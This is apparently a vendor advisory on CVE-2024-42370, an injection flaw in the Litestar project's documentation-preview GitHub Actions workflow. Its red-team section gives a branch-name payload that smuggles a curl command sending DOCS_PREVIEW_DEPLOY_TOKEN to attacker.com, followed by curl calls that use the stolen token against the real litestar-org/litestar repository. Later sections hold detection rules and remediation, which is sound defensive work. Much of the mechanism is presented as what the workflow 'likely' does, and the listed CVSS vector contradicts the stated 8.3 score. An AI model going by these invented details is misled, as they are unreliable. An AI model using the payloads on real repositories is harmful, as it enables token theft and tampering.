CVE-2024-42370

Executive Summary

CVE-2024-42370 is a critical vulnerability in the Litestar ASGI framework, specifically within its docs-preview.yml GitHub Actions workflow. This flaw allows an attacker to inject arbitrary environment variables into the workflow execution, leading to the exfiltration of secrets (such as the DOCS_PREVIEW_DEPLOY_TOKEN) and unauthorized repository manipulation. The attacker can write issues, read metadata, and write pull requests. The vulnerability affects versions 2.10.0 and prior. The CVSS score is 8.3 (High), and while the EPSS score is currently 0.0%, the potential for exploitation is significant due to the exposure of deployment tokens. The fix is available in commit 84d351e96aaa2a1338006d6e7221eded161f517b.

Supply Chain & Package Security

This vulnerability is not directly in the PyPI package itself but in the CI/CD pipeline (GitHub Actions workflow) used for the project's documentation preview. However, it poses a supply chain risk because a compromised workflow could lead to malicious code being injected into the repository or the release process. The DOCS_PREVIEW_DEPLOY_TOKEN is a critical secret that, if exposed, could allow an attacker to manipulate the repository, potentially affecting the integrity of the software supply chain.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - Secrets like the deploy token are exposed.
• Integrity (I): High (H) - The attacker can write issues and pull requests.
• Availability (A): High (H) - The attacker can manipulate the repository, potentially disrupting services.

Threat Level: High. The vulnerability allows for secret exfiltration and repository manipulation with no authentication required.

Deep Dive & Mechanics

The vulnerability resides in the docs-preview.yml GitHub Actions workflow. This workflow is triggered by pull requests to preview documentation changes. The flaw is an environment variable injection vulnerability. GitHub Actions workflows can be triggered by events from forked repositories. An attacker can craft a pull request that includes malicious content in the pull request body, title, or branch name that, when processed by the workflow, injects arbitrary environment variables.

Specifically, the workflow likely uses a step that evaluates user-controlled input (e.g., the pull request title or body) and passes it to a shell command or a script that interprets it as an environment variable. For example, if the workflow does something like:

- name: Set environment variable
  run: echo "PR_TITLE=${{ github.event.pull_request.title }}" >> $GITHUB_ENV

An attacker could set the pull request title to something like:

foo=bar\nDOCS_PREVIEW_DEPLOY_TOKEN=stolen_token

This would inject a new environment variable DOCS_PREVIEW_DEPLOY_TOKEN with a value controlled by the attacker, potentially overwriting the legitimate secret or exposing it in logs. The attacker can then exfiltrate this token by including a step that sends it to an external server.

The impact is that the attacker gains the ability to:

• Write issues (using the token to authenticate API calls).
• Read metadata (repository settings, secrets, etc.).
• Write pull requests (potentially merging malicious code).

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.10.0):

The vulnerable workflow likely contains a step that directly uses user-controlled input in an environment variable assignment without proper sanitization. For example:

- name: Set PR title
  run: echo "PR_TITLE=${{ github.event.pull_request.title }}" >> $GITHUB_ENV

This is vulnerable because the pull request title can contain newlines and other characters that allow injection of additional environment variables.

Patched Code (Commit 84d351e96aaa2a1338006d6e7221eded161f517b):

The fix involves sanitizing the user input to prevent injection. This can be done by:

• Using a more secure method to pass the input, such as using ${{ toJSON(github.event.pull_request.title) }} to escape special characters.
• Or by using a dedicated action that safely handles the input.

For example:

- name: Set PR title
  run: echo "PR_TITLE=${{ toJSON(github.event.pull_request.title) }}" >> $GITHUB_ENV

This ensures that the input is properly escaped and cannot inject new environment variables.

Exploitation & Lab Setup

Red Team

Objective: Exfiltrate the DOCS_PREVIEW_DEPLOY_TOKEN and gain write access to the repository.

Prerequisites:

• A GitHub account.
• Ability to fork the Litestar repository and create a pull request.

Steps:

1. Fork the Repository: Fork the Litestar repository to your own GitHub account.

2. Create a Malicious Pull Request: Create a new branch and make a trivial change (e.g., edit a documentation file). Then, create a pull request from your fork to the original repository.

3. Craft the Pull Request Title: Set the pull request title to include the injection payload. For example:

   Normal Title\nDOCS_PREVIEW_DEPLOY_TOKEN=stolen_value\n
   

   This will inject a new environment variable DOCS_PREVIEW_DEPLOY_TOKEN with the value stolen_value. However, the goal is to exfiltrate the real token, not overwrite it. To do this, you need to inject a step that sends the token to your server.

4. Inject Malicious Step: The injection can also be done in the pull request body or branch name. For example, if the workflow uses the branch name in a script, you can set the branch name to:

   malicious-branch; curl -X POST -d "token=$DOCS_PREVIEW_DEPLOY_TOKEN" https://attacker.com/exfil
   

   This would execute a command that sends the token to your server.

5. Exfiltrate the Token: Once the workflow runs, the token will be sent to your server.

6. Use the Token: With the DOCS_PREVIEW_DEPLOY_TOKEN, you can now:

   • Write issues: curl -X POST -H "Authorization: token <TOKEN>" https://api.github.com/repos/litestar-org/litestar/issues -d '{"title":"test","body":"test"}'
   • Write pull requests: curl -X POST -H "Authorization: token <TOKEN>" https://api.github.com/repos/litestar-org/litestar/pulls -d '{"title":"test","head":"malicious","base":"main"}'
   • Read metadata: curl -H "Authorization: token <TOKEN>" https://api.github.com/repos/litestar-org/litestar

Blue Team

Objective: Detect and prevent exploitation of CVE-2024-42370.

Detection:

• Monitor GitHub Actions logs for unusual environment variable assignments or commands.
• Look for pull requests with suspicious titles, bodies, or branch names containing special characters like newlines (\n), semicolons (;), or backticks (`).
• Alert on any outbound network connections from the GitHub Actions runner to unknown external IPs or domains.

Prevention:

• Immediate Patch: Apply the fix from commit 84d351e96aaa2a1338006d6e7221eded161f517b.
• Input Sanitization: Ensure all user-controlled inputs (PR title, body, branch name) are properly sanitized before being used in shell commands or environment variable assignments.
• Least Privilege: Limit the permissions of the DOCS_PREVIEW_DEPLOY_TOKEN to the minimum required. For example, only allow it to write to a specific environment or branch.
• Workflow Hardening: Use GitHub Actions' built-in security features like GITHUB_TOKEN with minimal permissions and avoid using secrets in workflows that are triggered by pull requests from forks.
• Audit Logs: Regularly review GitHub Actions logs for any anomalies.

Indicators of Compromise (IOCs)

• Network: Outbound connections from GitHub Actions runners to unknown IPs or domains (e.g., attacker.com).
• Logs: GitHub Actions logs containing unexpected environment variable assignments or commands.
• Repository: Unauthorized issues or pull requests created by an unknown user.
• Secrets: Exposure of DOCS_PREVIEW_DEPLOY_TOKEN in logs or external services.

Detection Engineering

YARA Rule

rule CVE_2024_42370_Environment_Injection {
    meta:
        description = "Detects environment variable injection in GitHub Actions workflows"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-42370"
    strings:
        $injection1 = /\\n[A-Z_]+=/
        $injection2 = /;.*\$[A-Z_]+/
        $injection3 = /`.*\$[A-Z_]+`/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-42370 Environment Variable Injection in GitHub Actions
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects suspicious environment variable injection patterns in GitHub Actions logs
author: Valters IT
date: 2024-10-27
logsource:
    product: github
    service: actions
detection:
    selection:
        - EventID: "workflow_job"
        - Data|contains: 
            - "\\n"
            - ";"
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of special characters in PR titles
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-42370 Environment Variable Injection Exfiltration"; flow:to_server; content:"POST"; http_method; content:"token="; http_client_body; distance:0; content:"DOCS_PREVIEW_DEPLOY_TOKEN"; http_client_body; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Update to a version that includes the fix from commit 84d351e96aaa2a1338006d6e7221eded161f517b. If using a version <= 2.10.0, apply the patch manually.
2. Workflow Hardening: Review all GitHub Actions workflows for similar injection vulnerabilities. Use toJSON() or other safe methods to handle user input.
3. Secret Rotation: Rotate the DOCS_PREVIEW_DEPLOY_TOKEN immediately if there is any suspicion of exposure.
4. Least Privilege: Reduce the permissions of the DOCS_PREVIEW_DEPLOY_TOKEN to the minimum required.
5. Monitoring: Implement monitoring for suspicious GitHub Actions activity as described in the Detection Engineering section.
6. User Education: Educate developers about the risks of using user input in CI/CD pipelines.

Valters IT